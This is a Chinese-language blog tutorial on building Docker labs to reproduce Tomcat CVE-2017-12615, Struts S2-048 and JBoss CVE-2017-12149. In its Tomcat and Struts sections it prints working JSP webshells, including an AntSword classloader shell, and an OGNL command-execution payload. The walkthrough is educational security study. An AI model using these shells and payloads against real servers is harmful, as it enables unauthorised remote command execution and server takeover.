【网络安全的神秘世界】攻防环境搭建及漏洞原理学习

🌝博客主页:泥菩萨
💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具
Kali安装docker
安装教程
PHP攻防环境搭建
中间件
介于应用系统和系统软件之间的软件。
能为多种应用程序合作互通、资源共享,同时还能为该应用程序提供相关服务的软件
1、Tomcat
Tomcat Put方法任意写文件漏洞(CVE-2017-12615)
Tomcat版本:7.0.0-7.0.79、8.5.19
此漏洞环境搭建:
docker search cve-2017-12615 //搜索相关镜像

docker pull docker.io/cved/cve-2017-12615 //把镜像拉取下来

docker run -d -p 8080:8080 cved/cve-2017-12615 //启动镜像

漏洞复现
先抓tomcat的包,右击发送到Repeater模块
!
改成put方法,上传名为1.jsp的脚本文件(脚本在下面),脚本内容放在请求正文里
再通过send发送这个包,根据响应状态码判断包传到服务端后有没有攻击成功

状态码为201说明上传成功了
验证一下是否成功:上传到根目录了所以直接访问本地ip:端口/1.jsp

发现是个空白页面说明这个文件就是存在的,因为如果页面不存在返回结果是404

上面的1.jsp已经告诉了使用此脚本的密码为magedu
if("magedu".equals(request.getParameter("pwd")))
又定义了i参数用来接收用户的输入(写我们想执行的恶意代码)
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
很好,那么我们现在就可以来输入一些自己想执行的代码了

ls查看当前目录有那些文件
ls是Linux命令,能出来结果,说明底层是Linux操作系统
windows用dir查看

目前已经可以想执行什么命令就执行什么命令了,成功拿下webshell(web页面上的shell)
思考:为什么攻击的时候加/能传输成功,不加/就上传失败呢?出于安全考虑,Tomcat本身不允许用户上传脚本文件,但加上/后,后缀名变成了
.jsp/,可是操作系统保存文件时,文件的后缀名不能有/,不过系统会自动把/抹掉以.jsp的形式保存,所以上传成功可以执行
1.jsp
<%if("magedu".equals(request.getParameter("pwd"))){ //if(pwd==magedu)密码是magedujava.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); //exec表示执行,i=用户输入的int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>
介绍一款工具
蚁剑
webshell图形化,下面介绍结合蚁剑工具对tomcat的漏洞利用
蚁剑百度网盘
使用过程
将蚁剑漏洞的shell脚本上传至服务端

访问上传的shell.jsp,若网站正常响应,则上传成功,否则失败

使用中国蚁剑连接

粘贴刚才上传shell.jsp后的url,连接蚁剑的密码是cmd
String cls =request.getParameter("cmd");

双击进入服务器,tomcat的配置就能随便翻阅了,至此已经成功


shell.jsp
<%!class U extends ClassLoader {U(ClassLoader c){super(c);}public Class g(byte[] b){return super.defineClass(b,0,b.length);}}public byte[] base64Decode(String str) throws Exception{try{Class clazz =Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);}catch (Exception e){Class clazz =Class.forName("java.util.Base64");Object decoder =clazz.getMethod("getDecoder").invoke(null);return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);}}
%>
<% String cls =request.getParameter("cmd");if(cls != null){new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); }
%>
tomcat、shell、蚁剑的关系
- 因为tomcat存在漏洞,所以可以上传shell(脚本文件)
- shell终端代码帮助攻击者实现远程命令执行的功能,而这些代码的运行要依靠tomcat
漏洞原理
造成漏洞的原因:
1、Tomacat的web.xml配置了可写(readonly=false),导致我们可以往服务器写(PUT)文件

2、Tomcat本身不允许上传jsp文件,1.jsp/加了/后就不是jsp文件了,系统保存文件1.jsp/ --> 1.jsp
(Tomcat对jsp是做了一定处理的,前面的流程中1.jsp/识别为非jsp文件,而后续保存文件的时候,文件名不接受/字符,故而忽视掉)
---------如果攻击成功?只需要两步
1、绕过网站的限制
2、让我上传的这个文件得以以正确的后缀名保存到服务器里
2、Struts
是一个基于java的web应用框架,被称为“漏洞之王”
S2-048远程代码执行漏洞(CVE-2017-9791)
漏洞原理
把该漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用
而由于 struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以执行OGNL表达式且能够调用 getText() 函数,而 getText() 函数的参数输入点又可以被用户直接控制,从而导致攻击者可以直接控制该点,构造恶意代码并执行从而实现RCE攻击
漏洞复习
docker search s2-048 //查找镜像
docker pull docker.io/piesecurity/apache-struts2-cve-2017-5638 //拉取镜像
docker run -d -p 8081:8080 piesecurity/apache-struts2-cve-2017-5638 //启动镜像,8082是vps的端口,8080是容器本身的端口
<!-- 容器本身的端口不可以更改,但可以映射到vps的任意端口,只要没有被占用 -->
这个环境是直接下载的struts-2.3.32的showcase,部署在tomcat-8.5下。环境启动后,访问http://your-ip:8081/showcase/即可查看到struts2的测试页面
触发OGNL表达式的位置是 Gangster Name 这个表单
访问Integration/Struts 1 Integration:

OGNL表达式格式:
${xxx}

把4+5的运算结果返回给我们,到这里已经实现命令执行了

------为什么会使用数学运算表达式来验证命令是否执行?
1、回显准确
2、对网站本身不造成危害
漏洞利用代码
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec
('id').getInputStream())).(#q)}
#id 返回当前用户的信息
uid和gid都等于0说明是root用户

怎么挖这个漏洞?
通过工具进行信息收集,找到这个网站有没有struts框架
3、JBoss
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
漏洞简介
该漏洞为 Java 反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。
漏洞原理
XXX反序列化漏洞:
# 序列号和反序列化的作用:保证代码在传输过程中不因为格式的变化而导致不可用序列化:把Java对象转换为字节序列(文本)的过程,便于数据进行保存、传输
反序列化:把字节序列恢复为Java对象的过程,以实现函数、对象的调用,完成代码承载的功能序列化和反序列化本身属于正常的功能并不存在问题,问题在于,如果Java应用对于用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在调用过程中就有可能带来任意代码执行
漏洞出现在 Jboss 的 HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEBINF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain)
throws IOException, ServletException
{
HttpServletRequest httpRequest = (HttpServletRequest)request;
Principal user = httpRequest.getUserPrincipal();
if ((user == null) && (this.readOnlyContext != null))
{
ServletInputStream sis = request.getInputStream(); //获取用户输入
ObjectInputStream ois = new ObjectInputStream(sis);
MarshalledInvocation mi = null;
try
{
mi = (MarshalledInvocation)ois.readObject(); //漏洞点,用户输入的数据没有经过过滤就直接拿来使用了
}
catch (ClassNotFoundException e)
{
throw new ServletException("Failed to read MarshalledInvocation", e);
}
request.setAttribute("MarshalledInvocation", mi);
mi.setMethodMap(this.namingMethodMap);
Method m = mi.getMethod();
if (m != null) {
validateAccess(m, mi);
}
}
chain.doFilter(request, response);
}
漏洞复现
因为最近docker镜像无法拉取,所以要拉取前先去github上同步镜像源,具体流程请百度(下面直接给了JBoss镜像可以不用同步)
Jboss镜像
导入镜像源
docker import <容器文件路径> <新镜像名称>:<标签>

启动镜像
docker run -d -p 8082:8080 hackingpub/cve-2017-12149 /bin/bash run.sh


首次执行时会有1~3分钟时间初始化,初始化完成后访问 http://your-ip:8082/ 即可看到JBoss默认页面

漏洞利用
发现是jboss框架后使用反序列化漏洞检测工具,输入ip点击检测
发现漏洞系统是linux,在cmd输入想要执行的代码

怎么挖这个漏洞?
通过工具进行信息收集,找到这个网站有没有struts框架
相关文章:
【网络安全的神秘世界】攻防环境搭建及漏洞原理学习
🌝博客主页:泥菩萨 💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 Kali安装docker 安装教程 PHP攻防环境搭建 中间件 介于应用系统和系统软件之间的软件。 能为多种应用程序合作互通、资源…...
pythonnet python图像 C# .NET图像 互转
C#是dotnet的代表虽然不是一个东西但是在这里代表同一件事,不要在意细节。 pythonnet是 python 和.net无缝连接的桥梁。那么python的图像是numpy表示,C#图象是Bitmap。 做图像想要python的便利又想要dotnet的强大就需要图像类型转换。 上程序。 1.Bi…...
spring security OAuth2 搭建资源服务器以及授权服务器/jdbc/jwt两种方案
一、认证服务器基于jdbc方式 如果不懂请移步上一篇文章:Spring security OAuth2 授权服务器搭建-CSDN博客 在上一篇文章中,TokenStore的默认实现为 InHenoryTokenStore 即内存存储,对于 CLient 信息,userDetaitsServce 接负责从存…...
计算机视觉—3d点云数据基础
点云数据 3d点云数据由来 3d点云 3D Point Cloud是一种用于表示三维空间中对象或场景的数据结构。在最基础的形式中,它是一个包含多个三维坐标点(X, Y, Z)的集合。这些点是通过对实际物体或场景表面进行离散采样而获得的,因此&a…...
Matlab simulink建模与仿真 第十八章(Stateflow状态机)
参考视频:Simulink/stateflow的入门培训_哔哩哔哩_bilibili 一、概述 Stateflow是集成于Simulink中的图形化设计与开发工具,主要用于针对控制系统中的复杂控制逻辑进行建模与仿真,或者说,Stateflow适用于针对事件响应系统进行建模…...
Linux系统终端中文件权限的10位字符是什么意思
Linux操作系统终端长格式显示的文件 在Linux操作系统终端中用文件长格式命令ls -l显示文件,如上图。第一列10个字符表示的含义如下: drwxrwxrwx 第一个字符是表示该文件的类型,如红色d表示该文件是一个目录,详细内容可以参考我…...
Qt QSerialPort串口编程
文章目录 Qt QSerialPort串口编程Qt Serial Port模块简述1.QSerialPortInfo类1.1示例用法 2.QSerialPort类2.1设置串口参数2.2打开串口2.3数据读写2.4关闭串口 3.串口编程基本流程3.1 简单实例 Qt QSerialPort串口编程 Qt 框架的Qt Serial Port 模块提供了访问串口的基本功能&…...
扫雷游戏及其中的知识点
大家好呀,今天我们给大家讲解扫雷游戏如何用C语言制作,以及制作扫雷游戏中的一些C语言知识。 想到扫雷游戏,大家有什么想法吗?大家还记得扫雷游戏是什么样子的吗?我在网上找了一些扫雷游戏的图片给大家提供参考: 如图所示,扫雷游戏需要的元素有以下几个: 1.进入游戏界面…...
【乐企-业务篇】开票前置校验服务-规则链服务接口实现(发票基础信息校验)
开票前置校验服务-规则链服务接口实现(发票基础信息校验) 代码 import liquibase.pro.packaged.L; import org.apache.commons.collections4.Collec...
【搜索算法】以扩召回为目标,item-tag不如query-tag能扩更多数量
首先ElasticSearch的召回结果已大量解决了精确召回的问题,扩召回主要就是增加一些推荐的搜索结果。 以item类目tag为例, 如果item类目体系一共20个类目,每个item都有一个类目,一共有10000个item,则平均每个类目tag下有…...
SpringBoot入门(黑马)
1. SpringBootWeb入门开发 需求:使用SpringBoot 开发一个web 应用,浏览器发起请求 /hello 后,给浏览器返回字符串"Hello World~"。 步骤: 1. 创建springBoot工程,并勾选web开发相关依赖。 2. 定义 HelloCo…...
Stream流操作
准备工作 准备 Gender 枚举类以及 Customer 类 enum Gender {MALE("男性"), FEMALE("女性");private String value;Gender() {}Gender(String value) {this.value value;}Overridepublic String toString() {return "Gender{" "value&qu…...
【Linux】查看操作系统开机时初始化的驱动模块列表的一个方法
这个方法是摸索出来的,也不一定对: 1、驱动层module_init(module_init_function)作为模块初始化,并且提供模块内部初始化的函数名; 2、找到所有驱动目录drivers下所有module_init(module_init_function),在内核6.9.0…...
快速入门Vue
Vue是什么 Vue.js(通常简称为Vue)是一个开源的JavaScript框架,用于构建用户界面和单页应用程序(SPA)。它由尤雨溪(Evan You)在2014年开发并发布。Vue的核心库只关注视图层,易于上手…...
ubuntu系统服务器离线安装python包
一、根据工程需要本地下载所需python包 1. 下载环境requirements.txt pip freeze > requirements.txt2. 根据requirements.txt下载python包 注意:查看服务器属于x_86架构还是arm架构、cpython还是pypy 2.1 确定服务器架构(终端输入) …...
re题(30)BUUCTF-[HDCTF2019]Maze
BUUCTF在线评测 (buuoj.cn) 查一下壳,32位upx壳 脱完壳放到ida,shiftF12看一下字符串,是个迷宫,maze(迷宫) 这里有一个经典的花指令 (导致找不到main函数) 下方有个奇怪的jnz指令,它跳转到了下…...
day36+day37 0-1背包
### 9.9 01背包问题(一维二维) 背包问题分类:01背包(一种物品只有一个),完全背包(一种物品有无数个),多重背包(不同物品有不同数量) 46. 携带研究…...
PostMan使用变量
环境变量 使用场景 当测试过程中,我们需要对开发环境、测试环境、生产环境进行测试 不同的环境对应着不同的服务器,那么这个时候我们就可以使用环境变量来区分它们 避免切换测试环境后,需要大量的更改接口的url地址 全局变量 使用场景 当…...
多线程同步
多线程 程序中默认只有一个线程,pthread_create()函数调用后就有2个线程。 pthread_create() #include <pthread.h> #include <string.h> #include <unistd.h> #include <iostream> using namespace std; //线程函数 void * callback(vo…...
第159天:安全开发-Python-协议库爆破FTPSSHRedisSMTPMYSQL等
案例一: Python-文件传输爆破-ftplib 库操作 ftp 协议 开一个ftp 利用ftp正确登录与失败登录都会有不同的回显 使用ftplib库进行测试 from ftplib import FTP # FTP服务器地址 ftp_server 192.168.172.132 # FTP服务器端口(默认为21) ftp_po…...
SpringBoot-17-MyBatis动态SQL标签之常用标签
文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…...
浅谈 React Hooks
React Hooks 是 React 16.8 引入的一组 API,用于在函数组件中使用 state 和其他 React 特性(例如生命周期方法、context 等)。Hooks 通过简洁的函数接口,解决了状态与 UI 的高度解耦,通过函数式编程范式实现更灵活 Rea…...
7.4.分块查找
一.分块查找的算法思想: 1.实例: 以上述图片的顺序表为例, 该顺序表的数据元素从整体来看是乱序的,但如果把这些数据元素分成一块一块的小区间, 第一个区间[0,1]索引上的数据元素都是小于等于10的, 第二…...
Python:操作 Excel 折叠
💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 Python 操作 Excel 系列 读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...
《Playwright:微软的自动化测试工具详解》
Playwright 简介:声明内容来自网络,将内容拼接整理出来的文档 Playwright 是微软开发的自动化测试工具,支持 Chrome、Firefox、Safari 等主流浏览器,提供多语言 API(Python、JavaScript、Java、.NET)。它的特点包括&a…...
Linux相关概念和易错知识点(42)(TCP的连接管理、可靠性、面临复杂网络的处理)
目录 1.TCP的连接管理机制(1)三次握手①握手过程②对握手过程的理解 (2)四次挥手(3)握手和挥手的触发(4)状态切换①挥手过程中状态的切换②握手过程中状态的切换 2.TCP的可靠性&…...
解锁数据库简洁之道:FastAPI与SQLModel实战指南
在构建现代Web应用程序时,与数据库的交互无疑是核心环节。虽然传统的数据库操作方式(如直接编写SQL语句与psycopg2交互)赋予了我们精细的控制权,但在面对日益复杂的业务逻辑和快速迭代的需求时,这种方式的开发效率和可…...
【机器视觉】单目测距——运动结构恢复
ps:图是随便找的,为了凑个封面 前言 在前面对光流法进行进一步改进,希望将2D光流推广至3D场景流时,发现2D转3D过程中存在尺度歧义问题,需要补全摄像头拍摄图像中缺失的深度信息,否则解空间不收敛…...
C# 类和继承(抽象类)
抽象类 抽象类是指设计为被继承的类。抽象类只能被用作其他类的基类。 不能创建抽象类的实例。抽象类使用abstract修饰符声明。 抽象类可以包含抽象成员或普通的非抽象成员。抽象类的成员可以是抽象成员和普通带 实现的成员的任意组合。抽象类自己可以派生自另一个抽象类。例…...
USB Over IP专用硬件的5个特点
USB over IP技术通过将USB协议数据封装在标准TCP/IP网络数据包中,从根本上改变了USB连接。这允许客户端通过局域网或广域网远程访问和控制物理连接到服务器的USB设备(如专用硬件设备),从而消除了直接物理连接的需要。USB over IP的…...

